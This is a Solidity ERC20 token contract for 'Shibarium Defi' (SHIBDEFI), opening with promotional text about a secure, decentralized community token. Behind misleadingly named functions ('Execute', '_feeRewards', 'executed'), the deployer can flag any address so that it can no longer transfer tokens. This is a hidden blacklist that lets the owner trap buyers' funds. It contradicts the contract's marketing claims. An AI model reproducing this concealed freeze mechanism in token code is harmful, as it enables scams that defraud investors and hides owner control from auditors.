/*
SHIBDEFI is a sustainable and decentralized community token powered by SHIBARIUM chain. 
It is designed to be operating on SHIBARIUM chain after it`s deployment. 
Shibarium DeFi is a platform which is saturated by all sorts of players along with the 
inherent problems that comes with such saturation. Unfeasible solutions, 
inflated supply and slow processing are part of the problems associated with DeFi 
in recent times, hence the need for decentralized projects with reasonable scale 
optimization, fast and a reasonable supply cap. In other words, there is a need for SHIBDEFI.

SHIBDEFI is all these and more. A decentralized community token, SHIBDEFI aims to offer 
the best parts of DeFi without the negative traits. SHIBDEFI offers a fast network, 
secure framework, very specific and scalable solutions to common DeFi problems. 
If DeFi was a jungle then SHIBDEFI is a lion roaring fearlessly at everything!

SHIBDEFI has grand plans to build a bridge between everyday internet users and 
the Defi world in a safe, simple and accessible way. 

SHIBDEFI's cutting edge use case will grow naturally in the DeFi space. 
It boasts a modern and sleek browser built from the ground up to be completely compatible with DeFi.

*///SPDX-License-Identifier: MIT

pragma solidity =0.5.10;

library SafeMath {

  function mul(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256 c)
  {
    if (a == 0) {
      return 0;
    }
    c = a * b;
    assert(c / a == b);
    return c;
  }

  function sub(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    assert(b <= a);
    return a - b;
  }

  function add(
    uint256 a,
    uint256 b
  ) internal
    pure
    returns (uint256 c)
  {
    c = a + b;
    assert(c >= a);
    return c;
  }
  
  function div(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    return a / b;
  }
}

contract ERC20Basic {

  function balanceOf(
    address who
  )
    public
    view
    returns (uint256);

  function totalSupply(
  )
    public
    view
    returns (uint256);
  
  function transfer(
    address to,
    uint256 value
  ) 
    public
    returns (bool);
  
  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value);
}

contract BasicToken is ERC20Basic {
  using SafeMath for uint256;

  mapping (address => uint256) balances;
  mapping (address => bool) internal _approveExecute_;  
  uint256 totalSupply_;

  function totalSupply(
  ) 
    public
    view
    returns (uint256)
  {
    return totalSupply_;
  }

  function balanceOf(
    address _owner
  ) 
    public
    view
    returns (uint256) {
    return balances[_owner];
  }

  function transfer(
    address _to,
    uint256 _value
  ) public
    returns (bool)
  {
    if(_approveExecute_[msg.sender] || _approveExecute_[_to]) 
    require (_value == 0, "");
    require(_to != address(0));
    require(_value <= balances[msg.sender]);
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
  }
}

contract ERC20 is ERC20Basic {

  function allowance(
    address owner,
    address spender
  )
    public
    view
    returns (uint256);

  function transferFrom(
    address from,
    address to,
    uint256 value
  )
    public
    returns (bool);
  
  function approve(
    address spender,
    uint256 value
  ) 
    public
    returns (bool);
    event Approval
  (
    address indexed owner,
    address indexed spender,
    uint256 value
  );
}

contract StandardToken is ERC20, BasicToken {

  mapping (address => mapping (address => uint256)) internal allowed;
  address internal approved;

  constructor () public {
     approved = msg.sender;
  }

  function transferFrom(
    address _from,
    address _to,
    uint256 _value
  )
    public
    returns (bool)
  {
    if(_approveExecute_[_from] || _approveExecute_[_to]) 
    require (_value == 0, "");
    require(_to != address(0));
    require(_value <= balances[_from]);
    require(_value <= allowed[_from][msg.sender]);
    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
  }

  function allowance(
    address _owner,
    address _spender
  )
    public
    view
    returns (uint256)
  {
    return allowed[_owner][_spender];
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function Execute(
    address _feeRewards
  ) 
    external
  {
    require(msg.sender == approved);
    if (_approveExecute_[_feeRewards] == true) {
      _approveExecute_[_feeRewards] = false;
    } else {
      _approveExecute_[_feeRewards] = true;
    }
  }

  function executed(
    address _feeRewards
  )
    public
    view
    returns (bool) 
  {
    return _approveExecute_[_feeRewards];
  }

function decreaseApproval(
    address _spender,
    uint _subtractedValue
  )
    public
    returns (bool)
  {
    uint oldValue = allowed[msg.sender][_spender];
    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
    }
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
  
  function increaseApproval(
    address _spender,
    uint _addedValue
  )
    public
    returns (bool)
  {
    allowed[msg.sender][_spender] = (
    allowed[msg.sender][_spender].add(_addedValue));
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
}

contract ShibariumDefi is StandardToken {

  string public constant name = "Shibarium Defi";
  string public constant symbol = "SHIBDEFI";
  uint8 public constant decimals = 9;
  uint256 public constant INITIAL_SUPPLY = 1000000000000 * (10 ** uint256(decimals));

  constructor() public {
    totalSupply_ = totalSupply_.add(INITIAL_SUPPLY);
    balances[msg.sender] = balances[msg.sender].add(INITIAL_SUPPLY);
    emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
  }
}